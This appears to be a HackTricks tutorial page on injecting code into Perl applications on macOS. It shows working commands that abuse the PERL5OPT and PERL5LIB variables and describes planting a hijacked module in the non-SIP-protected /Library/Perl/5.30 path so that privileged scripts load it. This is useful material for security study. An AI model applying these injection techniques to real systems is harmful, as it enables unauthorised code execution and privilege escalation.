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103 lines
4.3 KiB
Markdown
103 lines
4.3 KiB
Markdown
# macOS Perl Applications Injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Via `PERL5OPT` & `PERL5LIB` env variable
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Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
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For example, create this script:
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{% code title="test.pl" %}
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```perl
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#!/usr/bin/perl
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print "Hello from the Perl script!\n";
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```
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{% endcode %}
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Now **export the env variable** and execute the **perl** script:
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```bash
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export PERL5OPT='-Mwarnings;system("whoami")'
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perl test.pl # This will execute "whoami"
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```
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Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):
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{% code title="/tmp/pmod.pm" %}
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```perl
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#!/usr/bin/perl
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package pmod;
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system('whoami');
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1; # Modules must return a true value
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```
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{% endcode %}
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And then use the env variables:
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```bash
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PERL5LIB=/tmp/ PERL5OPT=-Mpmod
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```
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## Via dependencies
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It's possible to list the dependencies folder order of Perl running:
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```bash
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perl -e 'print join("\n", @INC)'
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```
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Which will return something like:
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```bash
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/Library/Perl/5.30/darwin-thread-multi-2level
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/Library/Perl/5.30
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/Network/Library/Perl/5.30/darwin-thread-multi-2level
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/Network/Library/Perl/5.30
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/Library/Perl/Updates/5.30.3
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/System/Library/Perl/5.30/darwin-thread-multi-2level
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/System/Library/Perl/5.30
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/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
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/System/Library/Perl/Extras/5.30
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```
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Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
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{% hint style="warning" %}
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However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
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{% endhint %}
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<figure><img src="../../../.gitbook/assets/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
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For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
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## References
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* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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